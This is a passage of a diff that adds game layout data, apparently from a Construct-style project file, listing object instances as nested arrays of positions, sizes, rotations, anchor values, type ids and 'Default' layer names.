+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5484,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5485,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5486,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5487,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5488,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5489,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 429,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5490,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5491,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5492,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5493,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5494,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5495,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 272,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5496,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5497,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5498,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 115,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5499,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5915,
+ 35,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5500,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5993,
+ 35,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5501,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5837,
+ 35,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5502,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5631,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1481,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5663,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1482,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5694,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1483,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5725,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1484,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5767,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1485,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5799,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1486,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5830,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1487,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5861,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1488,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1515,
+ 569,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 5503,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2442,
+ 564,
+ 0,
+ 44.38199996948242,
+ 21.39800071716309,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 518,
+ 5504,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4293,
+ 1089,
+ 0,
+ 44.38199996948242,
+ 21.39800071716309,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 519,
+ 5505,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5190.5849609375,
+ 909.8418579101562,
+ 0,
+ 30,
+ 715,
+ 0,
+ -1.186824321746826,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5537,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4571.923828125,
+ 742.577880859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1579,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4712.873046875,
+ 743.4093627929688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1580,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4063,
+ 986,
+ 0,
+ 38,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1581,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4320,
+ 890,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1582,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1937.797485351563,
+ 836.4844360351562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1583,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1872.73193359375,
+ 836.4844360351562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1584,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2145,
+ 1075,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1585,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2177,
+ 1075,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1586,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1354,
+ 1205,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1588,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1433,
+ 746,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1589,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1671,
+ 590,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1591,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2095.712890625,
+ 353.6788635253906,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1592,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2291.014404296875,
+ 561.765869140625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1593,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1598,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1595,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -605,
+ -121.5,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1316,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 397,
+ -86,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 1356,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 164,
+ 982,
+ 0,
+ 543,
+ 250,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1396,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053.5,
+ 1224,
+ 0,
+ 270,
+ 736,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1461,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1231,
+ 990,
+ 0,
+ 270,
+ 90,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1462,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141,
+ 1174,
+ 0,
+ 270,
+ 90,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1478,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1354.5,
+ 1404.5,
+ 0,
+ 381,
+ 369,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1479,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1457.5,
+ 806.5,
+ 0,
+ 358,
+ 86,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1490,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1502,
+ 1080.5,
+ 0,
+ 90,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1491,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1682,
+ 989,
+ 0,
+ 268,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1492,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1904.5,
+ 898,
+ 0,
+ 359,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1493,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2295,
+ 988,
+ 0,
+ 179,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1494,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1313.5,
+ 0,
+ 91,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1495,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2197.5,
+ 1407,
+ 0,
+ 194,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1497,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2386,
+ 1176,
+ 0,
+ 362,
+ 96,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1498,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1556.21826171875,
+ 726.3148803710938,
+ 0,
+ 162.0699462890625,
+ 86,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1541,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1786.5595703125,
+ 646.8865966796875,
+ 0,
+ 466.9254150390625,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1569,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1594.549560546875,
+ 229.4484252929688,
+ 0,
+ 80.3665771484375,
+ 481.635498046875,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1570,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1673.221069335938,
+ 350.7533264160156,
+ 0,
+ 80.3665771484375,
+ 82.218994140625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1571,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1979.081176757813,
+ 494.1050415039063,
+ 0,
+ 80.3665771484375,
+ 249.3993835449219,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1572,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2096.256591796875,
+ 410.1026611328125,
+ 0,
+ 314.34228515625,
+ 82.97579956054688,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1574,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2212.5146484375,
+ 551.0617065429688,
+ 0,
+ 81.1444091796875,
+ 253.2806701660156,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1575,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 400.8596496582031,
+ 0,
+ 81,
+ 1179,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1576,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2332.1728515625,
+ 637.2246704101562,
+ 0,
+ 315.7445068359375,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1577,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2259.27685546875,
+ 560.635986328125,
+ 0,
+ 143.534912109375,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1578,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2477.0859375,
+ 478.9307250976563,
+ 0,
+ 143.534912109375,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1587,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745,
+ 987,
+ 0,
+ 450,
+ 456,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1590,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4641,
+ 988,
+ 0,
+ 450,
+ 456,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1594,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4151,
+ 1169.5,
+ 0,
+ 574,
+ 89,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
